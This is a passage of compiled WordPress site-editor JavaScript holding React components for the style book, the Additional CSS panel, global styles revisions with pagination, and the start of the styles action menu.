22208 className: "edit-site-style-book__examples",
22209 filteredExamples: examples,
22210 label: title ? (0,external_wp_i18n_namespaceObject.sprintf)(
22211 // translators: %s: Category of blocks, e.g. Text.
22212 (0,external_wp_i18n_namespaceObject.__)("Examples of blocks in the %s category"),
22213 title
22214 ) : (0,external_wp_i18n_namespaceObject.__)("Examples of blocks"),
22215 isSelected,
22216 onSelect
22217 },
22218 title
22219 )
22220 ]
22221 }
22222 );
22223};
22224const Examples = (0,external_wp_element_.memo)(
22225 ({ className, filteredExamples, label, isSelected, onSelect }) => {
22226 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22227 external_wp_components_namespaceObject.Composite,
22228 {
22229 orientation: "vertical",
22230 className,
22231 "aria-label": label,
22232 role: "grid",
22233 children: [
22234 !!filteredExamples?.examples?.length && filteredExamples.examples.map((example) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22235 Example,
22236 {
22237 id: `example-${example.name}`,
22238 title: example.title,
22239 content: example.content,
22240 blocks: example.blocks,
22241 isSelected: isSelected?.(example.name),
22242 onClick: !!onSelect ? () => onSelect(
22243 example.name,
22244 !!example.variation
22245 ) : null
22246 },
22247 example.name
22248 )),
22249 !!filteredExamples?.subcategories?.length && filteredExamples.subcategories.map((subcategory) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22250 external_wp_components_namespaceObject.Composite.Group,
22251 {
22252 className: "edit-site-style-book__subcategory",
22253 children: [
22254 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.GroupLabel, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "edit-site-style-book__subcategory-title", children: subcategory.title }) }),
22255 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22256 Subcategory,
22257 {
22258 examples: subcategory.examples,
22259 isSelected,
22260 onSelect
22261 }
22262 )
22263 ]
22264 },
22265 `subcategory-${subcategory.slug}`
22266 ))
22267 ]
22268 }
22269 );
22270 }
22271);
22272const Subcategory = ({ examples, isSelected, onSelect }) => {
22273 return !!examples?.length && examples.map((example) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22274 Example,
22275 {
22276 id: `example-${example.name}`,
22277 title: example.title,
22278 content: example.content,
22279 blocks: example.blocks,
22280 isSelected: isSelected?.(example.name),
22281 onClick: !!onSelect ? () => onSelect(example.name) : null
22282 },
22283 example.name
22284 ));
22285};
22286const disabledExamples = ["example-duotones"];
22287const Example = ({ id, title, blocks, isSelected, onClick, content }) => {
22288 const originalSettings = (0,external_wp_data_.useSelect)(
22289 (select) => select(external_wp_blockEditor_namespaceObject.store).getSettings(),
22290 []
22291 );
22292 const settings = (0,external_wp_element_.useMemo)(
22293 () => ({
22294 ...originalSettings,
22295 focusMode: false,
22296 // Disable "Spotlight mode".
22297 isPreviewMode: true
22298 }),
22299 [originalSettings]
22300 );
22301 const renderedBlocks = (0,external_wp_element_.useMemo)(
22302 () => Array.isArray(blocks) ? blocks : [blocks],
22303 [blocks]
22304 );
22305 const disabledProps = disabledExamples.includes(id) || !onClick ? {
22306 disabled: true,
22307 accessibleWhenDisabled: !!onClick
22308 } : {};
22309 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { role: "row", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { role: "gridcell", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22310 external_wp_components_namespaceObject.Composite.Item,
22311 {
22312 className: dist_clsx("edit-site-style-book__example", {
22313 "is-selected": isSelected,
22314 "is-disabled-example": !!disabledProps?.disabled
22315 }),
22316 id,
22317 "aria-label": !!onClick ? (0,external_wp_i18n_namespaceObject.sprintf)(
22318 // translators: %s: Title of a block, e.g. Heading.
22319 (0,external_wp_i18n_namespaceObject.__)("Open %s styles in Styles panel"),
22320 title
22321 ) : void 0,
22322 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
22323 role: !!onClick ? "button" : null,
22324 onClick,
22325 ...disabledProps,
22326 children: [
22327 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "edit-site-style-book__example-title", children: title }),
22328 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22329 "div",
22330 {
22331 className: "edit-site-style-book__example-preview",
22332 "aria-hidden": true,
22333 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { className: "edit-site-style-book__example-preview__content", children: content ? content : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22334 ExperimentalBlockEditorProvider,
22335 {
22336 value: renderedBlocks,
22337 settings,
22338 children: [
22339 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableEditorStyles, {}),
22340 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, { renderAppender: false })
22341 ]
22342 }
22343 ) })
22344 }
22345 )
22346 ]
22347 }
22348 ) }) });
22349};
22350var style_book_default = StyleBook;
22351
22352
22353;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-css.js
22354
22355
22356
22357
22358
22359
22360
22361
22362const { useGlobalStyle: screen_css_useGlobalStyle, AdvancedPanel: screen_css_StylesAdvancedPanel } = unlock(
22363 external_wp_blockEditor_namespaceObject.privateApis
22364);
22365function ScreenCSS() {
22366 const [style] = screen_css_useGlobalStyle("", void 0, "user", {
22367 shouldDecodeEncode: false
22368 });
22369 const [inheritedStyle, setStyle] = screen_css_useGlobalStyle("", void 0, "all", {
22370 shouldDecodeEncode: false
22371 });
22372 const { setEditorCanvasContainerView } = unlock(
22373 (0,external_wp_data_.useDispatch)(store)
22374 );
22375 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22376 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22377 header_default,
22378 {
22379 title: (0,external_wp_i18n_namespaceObject.__)("Additional CSS"),
22380 description: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22381 (0,external_wp_i18n_namespaceObject.__)(
22382 "You can add custom CSS to further customize the appearance and layout of your site."
22383 ),
22384 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
22385 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22386 external_wp_components_namespaceObject.ExternalLink,
22387 {
22388 href: (0,external_wp_i18n_namespaceObject.__)(
22389 "https://developer.wordpress.org/advanced-administration/wordpress/css/"
22390 ),
22391 className: "edit-site-global-styles-screen-css-help-link",
22392 children: (0,external_wp_i18n_namespaceObject.__)("Learn more about CSS")
22393 }
22394 )
22395 ] }),
22396 onBack: () => {
22397 setEditorCanvasContainerView(void 0);
22398 }
22399 }
22400 ),
22401 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-global-styles-screen-css", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22402 screen_css_StylesAdvancedPanel,
22403 {
22404 value: style,
22405 onChange: setStyle,
22406 inheritedValue: inheritedStyle
22407 }
22408 ) })
22409 ] });
22410}
22411var screen_css_default = ScreenCSS;
22412
22413
22414;// ./node_modules/@wordpress/edit-site/build-module/components/revisions/index.js
22415
22416
22417
22418
22419
22420
22421
22422
22423
22424const {
22425 ExperimentalBlockEditorProvider: revisions_ExperimentalBlockEditorProvider,
22426 GlobalStylesContext: revisions_GlobalStylesContext,
22427 useGlobalStylesOutputWithConfig: revisions_useGlobalStylesOutputWithConfig,
22428 __unstableBlockStyleVariationOverridesWithConfig
22429} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
22430const { mergeBaseAndUserConfigs: revisions_mergeBaseAndUserConfigs } = unlock(external_wp_editor_namespaceObject.privateApis);
22431function revisions_isObjectEmpty(object) {
22432 return !object || Object.keys(object).length === 0;
22433}
22434function Revisions({ userConfig, blocks }) {
22435 const { base: baseConfig } = (0,external_wp_element_.useContext)(revisions_GlobalStylesContext);
22436 const mergedConfig = (0,external_wp_element_.useMemo)(() => {
22437 if (!revisions_isObjectEmpty(userConfig) && !revisions_isObjectEmpty(baseConfig)) {
22438 return revisions_mergeBaseAndUserConfigs(baseConfig, userConfig);
22439 }
22440 return {};
22441 }, [baseConfig, userConfig]);
22442 const renderedBlocksArray = (0,external_wp_element_.useMemo)(
22443 () => Array.isArray(blocks) ? blocks : [blocks],
22444 [blocks]
22445 );
22446 const originalSettings = (0,external_wp_data_.useSelect)(
22447 (select) => select(external_wp_blockEditor_namespaceObject.store).getSettings(),
22448 []
22449 );
22450 const settings = (0,external_wp_element_.useMemo)(
22451 () => ({
22452 ...originalSettings,
22453 isPreviewMode: true
22454 }),
22455 [originalSettings]
22456 );
22457 const [globalStyles] = revisions_useGlobalStylesOutputWithConfig(mergedConfig);
22458 const editorStyles = !revisions_isObjectEmpty(globalStyles) && !revisions_isObjectEmpty(userConfig) ? globalStyles : settings.styles;
22459 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22460 editor_canvas_container_default,
22461 {
22462 title: (0,external_wp_i18n_namespaceObject.__)("Revisions"),
22463 closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)("Close revisions"),
22464 enableResizing: true,
22465 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22466 external_wp_blockEditor_namespaceObject.__unstableIframe,
22467 {
22468 className: "edit-site-revisions__iframe",
22469 name: "revisions",
22470 tabIndex: 0,
22471 children: [
22472 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("style", {
22473 // Forming a "block formatting context" to prevent margin collapsing.
22474 // @see https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context
22475 children: `.is-root-container { display: flow-root; }`
22476 }),
22477 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { className: "edit-site-revisions__example-preview__content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22478 revisions_ExperimentalBlockEditorProvider,
22479 {
22480 value: renderedBlocksArray,
22481 settings,
22482 children: [
22483 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, { renderAppender: false }),
22484 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableEditorStyles, { styles: editorStyles }),
22485 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22486 __unstableBlockStyleVariationOverridesWithConfig,
22487 {
22488 config: mergedConfig
22489 }
22490 )
22491 ]
22492 }
22493 ) })
22494 ]
22495 }
22496 )
22497 }
22498 );
22499}
22500var revisions_default = Revisions;
22501
22502
22503;// external ["wp","date"]
22504const external_wp_date_namespaceObject = window["wp"]["date"];
22505;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-revisions/revisions-buttons.js
22506
22507
22508
22509
22510
22511
22512
22513
22514
22515const DAY_IN_MILLISECONDS = 60 * 60 * 1e3 * 24;
22516const { getGlobalStylesChanges } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
22517function ChangesSummary({ revision, previousRevision }) {
22518 const changes = getGlobalStylesChanges(revision, previousRevision, {
22519 maxResults: 7
22520 });
22521 if (!changes.length) {
22522 return null;
22523 }
22524 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22525 "ul",
22526 {
22527 "data-testid": "global-styles-revision-changes",
22528 className: "edit-site-global-styles-screen-revisions__changes",
22529 children: changes.map((change) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { children: change }, change))
22530 }
22531 );
22532}
22533function getRevisionLabel(id, authorDisplayName, formattedModifiedDate, areStylesEqual) {
22534 if ("parent" === id) {
22535 return (0,external_wp_i18n_namespaceObject.__)("Reset the styles to the theme defaults");
22536 }
22537 if ("unsaved" === id) {
22538 return (0,external_wp_i18n_namespaceObject.sprintf)(
22539 /* translators: %s: author display name */
22540 (0,external_wp_i18n_namespaceObject.__)("Unsaved changes by %s"),
22541 authorDisplayName
22542 );
22543 }
22544 return areStylesEqual ? (0,external_wp_i18n_namespaceObject.sprintf)(
22545 // translators: 1: author display name. 2: revision creation date.
22546 (0,external_wp_i18n_namespaceObject.__)(
22547 "Changes saved by %1$s on %2$s. This revision matches current editor styles."
22548 ),
22549 authorDisplayName,
22550 formattedModifiedDate
22551 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
22552 // translators: 1: author display name. 2: revision creation date.
22553 (0,external_wp_i18n_namespaceObject.__)("Changes saved by %1$s on %2$s"),
22554 authorDisplayName,
22555 formattedModifiedDate
22556 );
22557}
22558function RevisionsButtons({
22559 userRevisions,
22560 selectedRevisionId,
22561 onChange,
22562 canApplyRevision,
22563 onApplyRevision
22564}) {
22565 const { currentThemeName, currentUser } = (0,external_wp_data_.useSelect)((select) => {
22566 const { getCurrentTheme, getCurrentUser } = select(external_wp_coreData_namespaceObject.store);
22567 const currentTheme = getCurrentTheme();
22568 return {
22569 currentThemeName: currentTheme?.name?.rendered || currentTheme?.stylesheet,
22570 currentUser: getCurrentUser()
22571 };
22572 }, []);
22573 const dateNowInMs = (0,external_wp_date_namespaceObject.getDate)().getTime();
22574 const { datetimeAbbreviated } = (0,external_wp_date_namespaceObject.getSettings)().formats;
22575 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22576 external_wp_components_namespaceObject.Composite,
22577 {
22578 orientation: "vertical",
22579 className: "edit-site-global-styles-screen-revisions__revisions-list",
22580 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Global styles revisions list"),
22581 role: "listbox",
22582 children: userRevisions.map((revision, index) => {
22583 const { id, author, modified } = revision;
22584 const isUnsaved = "unsaved" === id;
22585 const revisionAuthor = isUnsaved ? currentUser : author;
22586 const authorDisplayName = revisionAuthor?.name || (0,external_wp_i18n_namespaceObject.__)("User");
22587 const authorAvatar = revisionAuthor?.avatar_urls?.["48"];
22588 const isFirstItem = index === 0;
22589 const isSelected = selectedRevisionId ? selectedRevisionId === id : isFirstItem;
22590 const areStylesEqual = !canApplyRevision && isSelected;
22591 const isReset = "parent" === id;
22592 const modifiedDate = (0,external_wp_date_namespaceObject.getDate)(modified);
22593 const displayDate = modified && dateNowInMs - modifiedDate.getTime() > DAY_IN_MILLISECONDS ? (0,external_wp_date_namespaceObject.dateI18n)(datetimeAbbreviated, modifiedDate) : (0,external_wp_date_namespaceObject.humanTimeDiff)(modified);
22594 const revisionLabel = getRevisionLabel(
22595 id,
22596 authorDisplayName,
22597 (0,external_wp_date_namespaceObject.dateI18n)(datetimeAbbreviated, modifiedDate),
22598 areStylesEqual
22599 );
22600 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22601 external_wp_components_namespaceObject.Composite.Item,
22602 {
22603 className: "edit-site-global-styles-screen-revisions__revision-item",
22604 "aria-current": isSelected,
22605 role: "option",
22606 onKeyDown: (event) => {
22607 const { keyCode } = event;
22608 if (keyCode === external_wp_keycodes_namespaceObject.ENTER || keyCode === external_wp_keycodes_namespaceObject.SPACE) {
22609 onChange(revision);
22610 }
22611 },
22612 onClick: (event) => {
22613 event.preventDefault();
22614 onChange(revision);
22615 },
22616 "aria-selected": isSelected,
22617 "aria-label": revisionLabel,
22618 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
22619 children: [
22620 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "edit-site-global-styles-screen-revisions__revision-item-wrapper", children: isReset ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { className: "edit-site-global-styles-screen-revisions__description", children: [
22621 (0,external_wp_i18n_namespaceObject.__)("Default styles"),
22622 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "edit-site-global-styles-screen-revisions__meta", children: currentThemeName })
22623 ] }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { className: "edit-site-global-styles-screen-revisions__description", children: [
22624 isUnsaved ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "edit-site-global-styles-screen-revisions__date", children: (0,external_wp_i18n_namespaceObject.__)("(Unsaved)") }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22625 "time",
22626 {
22627 className: "edit-site-global-styles-screen-revisions__date",
22628 dateTime: modified,
22629 children: displayDate
22630 }
22631 ),
22632 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { className: "edit-site-global-styles-screen-revisions__meta", children: [
22633 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22634 "img",
22635 {
22636 alt: authorDisplayName,
22637 src: authorAvatar
22638 }
22639 ),
22640 authorDisplayName
22641 ] }),
22642 isSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22643 ChangesSummary,
22644 {
22645 revision,
22646 previousRevision: index < userRevisions.length ? userRevisions[index + 1] : {}
22647 }
22648 )
22649 ] }) }),
22650 isSelected && (areStylesEqual ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-site-global-styles-screen-revisions__applied-text", children: (0,external_wp_i18n_namespaceObject.__)(
22651 "These styles are already applied to your site."
22652 ) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22653 external_wp_components_namespaceObject.Button,
22654 {
22655 size: "compact",
22656 variant: "primary",
22657 className: "edit-site-global-styles-screen-revisions__apply-button",
22658 onClick: onApplyRevision,
22659 "aria-label": (0,external_wp_i18n_namespaceObject.__)(
22660 "Apply the selected revision to your site."
22661 ),
22662 children: isReset ? (0,external_wp_i18n_namespaceObject.__)("Reset to defaults") : (0,external_wp_i18n_namespaceObject.__)("Apply")
22663 }
22664 ))
22665 ]
22666 },
22667 id
22668 );
22669 })
22670 }
22671 );
22672}
22673var revisions_buttons_default = RevisionsButtons;
22674
22675
22676;// ./node_modules/@wordpress/edit-site/build-module/components/pagination/index.js
22677
22678
22679
22680
22681
22682function Pagination({
22683 currentPage,
22684 numPages,
22685 changePage,
22686 totalItems,
22687 className,
22688 disabled = false,
22689 buttonVariant = "tertiary",
22690 label = (0,external_wp_i18n_namespaceObject.__)("Pagination")
22691}) {
22692 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22693 external_wp_components_namespaceObject.__experimentalHStack,
22694 {
22695 expanded: false,
22696 as: "nav",
22697 "aria-label": label,
22698 spacing: 3,
22699 justify: "flex-start",
22700 className: dist_clsx("edit-site-pagination", className),
22701 children: [
22702 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
22703 variant: "muted",
22704 className: "edit-site-pagination__total",
22705 // translators: %s: Total number of patterns.
22706 children: (0,external_wp_i18n_namespaceObject.sprintf)(
22707 // translators: %s: Total number of patterns.
22708 (0,external_wp_i18n_namespaceObject._n)("%s item", "%s items", totalItems),
22709 totalItems
22710 )
22711 }),
22712 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { expanded: false, spacing: 1, children: [
22713 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22714 external_wp_components_namespaceObject.Button,
22715 {
22716 variant: buttonVariant,
22717 onClick: () => changePage(1),
22718 accessibleWhenDisabled: true,
22719 disabled: disabled || currentPage === 1,
22720 label: (0,external_wp_i18n_namespaceObject.__)("First page"),
22721 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? next_default : previous_default,
22722 size: "compact"
22723 }
22724 ),
22725 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22726 external_wp_components_namespaceObject.Button,
22727 {
22728 variant: buttonVariant,
22729 onClick: () => changePage(currentPage - 1),
22730 accessibleWhenDisabled: true,
22731 disabled: disabled || currentPage === 1,
22732 label: (0,external_wp_i18n_namespaceObject.__)("Previous page"),
22733 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_default : chevron_left_default,
22734 size: "compact"
22735 }
22736 )
22737 ] }),
22738 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { variant: "muted", children: (0,external_wp_i18n_namespaceObject.sprintf)(
22739 // translators: 1: Current page number. 2: Total number of pages.
22740 (0,external_wp_i18n_namespaceObject._x)("%1$s of %2$s", "paging"),
22741 currentPage,
22742 numPages
22743 ) }),
22744 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { expanded: false, spacing: 1, children: [
22745 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22746 external_wp_components_namespaceObject.Button,
22747 {
22748 variant: buttonVariant,
22749 onClick: () => changePage(currentPage + 1),
22750 accessibleWhenDisabled: true,
22751 disabled: disabled || currentPage === numPages,
22752 label: (0,external_wp_i18n_namespaceObject.__)("Next page"),
22753 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default,
22754 size: "compact"
22755 }
22756 ),
22757 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22758 external_wp_components_namespaceObject.Button,
22759 {
22760 variant: buttonVariant,
22761 onClick: () => changePage(numPages),
22762 accessibleWhenDisabled: true,
22763 disabled: disabled || currentPage === numPages,
22764 label: (0,external_wp_i18n_namespaceObject.__)("Last page"),
22765 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? previous_default : next_default,
22766 size: "compact"
22767 }
22768 )
22769 ] })
22770 ]
22771 }
22772 );
22773}
22774
22775
22776;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-revisions/index.js
22777
22778
22779
22780
22781
22782
22783
22784
22785
22786
22787
22788
22789
22790
22791const { GlobalStylesContext: screen_revisions_GlobalStylesContext, areGlobalStyleConfigsEqual: screen_revisions_areGlobalStyleConfigsEqual } = unlock(
22792 external_wp_blockEditor_namespaceObject.privateApis
22793);
22794const PAGE_SIZE = 10;
22795function ScreenRevisions() {
22796 const { user: currentEditorGlobalStyles, setUserConfig } = (0,external_wp_element_.useContext)(screen_revisions_GlobalStylesContext);
22797 const { blocks, editorCanvasContainerView } = (0,external_wp_data_.useSelect)(
22798 (select) => ({
22799 editorCanvasContainerView: unlock(
22800 select(store)
22801 ).getEditorCanvasContainerView(),
22802 blocks: select(external_wp_blockEditor_namespaceObject.store).getBlocks()
22803 }),
22804 []
22805 );
22806 const [currentPage, setCurrentPage] = (0,external_wp_element_.useState)(1);
22807 const [currentRevisions, setCurrentRevisions] = (0,external_wp_element_.useState)([]);
22808 const { revisions, isLoading, hasUnsavedChanges, revisionsCount } = useGlobalStylesRevisions({
22809 query: {
22810 per_page: PAGE_SIZE,
22811 page: currentPage
22812 }
22813 });
22814 const numPages = Math.ceil(revisionsCount / PAGE_SIZE);
22815 const [currentlySelectedRevision, setCurrentlySelectedRevision] = (0,external_wp_element_.useState)(currentEditorGlobalStyles);
22816 const [
22817 isLoadingRevisionWithUnsavedChanges,
22818 setIsLoadingRevisionWithUnsavedChanges
22819 ] = (0,external_wp_element_.useState)(false);
22820 const { setEditorCanvasContainerView } = unlock(
22821 (0,external_wp_data_.useDispatch)(store)
22822 );
22823 const selectedRevisionMatchesEditorStyles = screen_revisions_areGlobalStyleConfigsEqual(
22824 currentlySelectedRevision,
22825 currentEditorGlobalStyles
22826 );
22827 const onCloseRevisions = () => {
22828 const canvasContainerView = editorCanvasContainerView === "global-styles-revisions:style-book" ? "style-book" : void 0;
22829 setEditorCanvasContainerView(canvasContainerView);
22830 };
22831 const restoreRevision = (revision) => {
22832 setUserConfig(() => revision);
22833 setIsLoadingRevisionWithUnsavedChanges(false);
22834 onCloseRevisions();
22835 };
22836 (0,external_wp_element_.useEffect)(() => {
22837 if (!isLoading && revisions.length) {
22838 setCurrentRevisions(revisions);
22839 }
22840 }, [revisions, isLoading]);
22841 const firstRevision = revisions[0];
22842 const currentlySelectedRevisionId = currentlySelectedRevision?.id;
22843 const shouldSelectFirstItem = !!firstRevision?.id && !selectedRevisionMatchesEditorStyles && !currentlySelectedRevisionId;
22844 (0,external_wp_element_.useEffect)(() => {
22845 if (shouldSelectFirstItem) {
22846 setCurrentlySelectedRevision(firstRevision);
22847 }
22848 }, [shouldSelectFirstItem, firstRevision]);
22849 const isLoadButtonEnabled = !!currentlySelectedRevisionId && currentlySelectedRevisionId !== "unsaved" && !selectedRevisionMatchesEditorStyles;
22850 const hasRevisions = !!currentRevisions.length;
22851 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22852 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22853 header_default,
22854 {
22855 title: revisionsCount && // translators: %s: number of revisions.
22856 (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Revisions (%s)"), revisionsCount),
22857 description: (0,external_wp_i18n_namespaceObject.__)(
22858 `Click on previously saved styles to preview them. To restore a selected version to the editor, hit "Apply." When you're ready, use the Save button to save your changes.`
22859 ),
22860 onBack: onCloseRevisions
22861 }
22862 ),
22863 !hasRevisions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, { className: "edit-site-global-styles-screen-revisions__loading" }),
22864 hasRevisions && (editorCanvasContainerView === "global-styles-revisions:style-book" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22865 style_book_default,
22866 {
22867 userConfig: currentlySelectedRevision,
22868 isSelected: () => {
22869 },
22870 onClose: () => {
22871 setEditorCanvasContainerView(
22872 "global-styles-revisions"
22873 );
22874 }
22875 }
22876 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22877 revisions_default,
22878 {
22879 blocks,
22880 userConfig: currentlySelectedRevision,
22881 closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)("Close revisions")
22882 }
22883 )),
22884 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22885 revisions_buttons_default,
22886 {
22887 onChange: setCurrentlySelectedRevision,
22888 selectedRevisionId: currentlySelectedRevisionId,
22889 userRevisions: currentRevisions,
22890 canApplyRevision: isLoadButtonEnabled,
22891 onApplyRevision: () => hasUnsavedChanges ? setIsLoadingRevisionWithUnsavedChanges(true) : restoreRevision(currentlySelectedRevision)
22892 }
22893 ),
22894 numPages > 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-global-styles-screen-revisions__footer", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22895 Pagination,
22896 {
22897 className: "edit-site-global-styles-screen-revisions__pagination",
22898 currentPage,
22899 numPages,
22900 changePage: setCurrentPage,
22901 totalItems: revisionsCount,
22902 disabled: isLoading,
22903 label: (0,external_wp_i18n_namespaceObject.__)("Global Styles pagination")
22904 }
22905 ) }),
22906 isLoadingRevisionWithUnsavedChanges && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22907 external_wp_components_namespaceObject.__experimentalConfirmDialog,
22908 {
22909 isOpen: isLoadingRevisionWithUnsavedChanges,
22910 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Apply"),
22911 onConfirm: () => restoreRevision(currentlySelectedRevision),
22912 onCancel: () => setIsLoadingRevisionWithUnsavedChanges(false),
22913 size: "medium",
22914 children: (0,external_wp_i18n_namespaceObject.__)(
22915 "Are you sure you want to apply this revision? Any unsaved changes will be lost."
22916 )
22917 }
22918 )
22919 ] });
22920}
22921var screen_revisions_default = ScreenRevisions;
22922
22923
22924;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/ui.js
22925
22926
22927
22928
22929
22930
22931
22932
22933
22934
22935
22936
22937
22938
22939
22940
22941
22942
22943
22944
22945
22946
22947
22948
22949
22950
22951
22952
22953
22954
22955const SLOT_FILL_NAME = "GlobalStylesMenu";
22956const { useGlobalStylesReset: ui_useGlobalStylesReset } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
22957const { Slot: GlobalStylesMenuSlot, Fill: GlobalStylesMenuFill } = (0,external_wp_components_namespaceObject.createSlotFill)(SLOT_FILL_NAME);
22958function GlobalStylesActionMenu() {
22959 const [canReset, onReset] = ui_useGlobalStylesReset();
22960 const { toggle } = (0,external_wp_data_.useDispatch)(external_wp_preferences_.store);
22961 const { canEditCSS } = (0,external_wp_data_.useSelect)((select) => {
22962 const { getEntityRecord, __experimentalGetCurrentGlobalStylesId } = select(external_wp_coreData_namespaceObject.store);
22963 const globalStylesId = __experimentalGetCurrentGlobalStylesId();
22964 const globalStyles = globalStylesId ? getEntityRecord("root", "globalStyles", globalStylesId) : void 0;
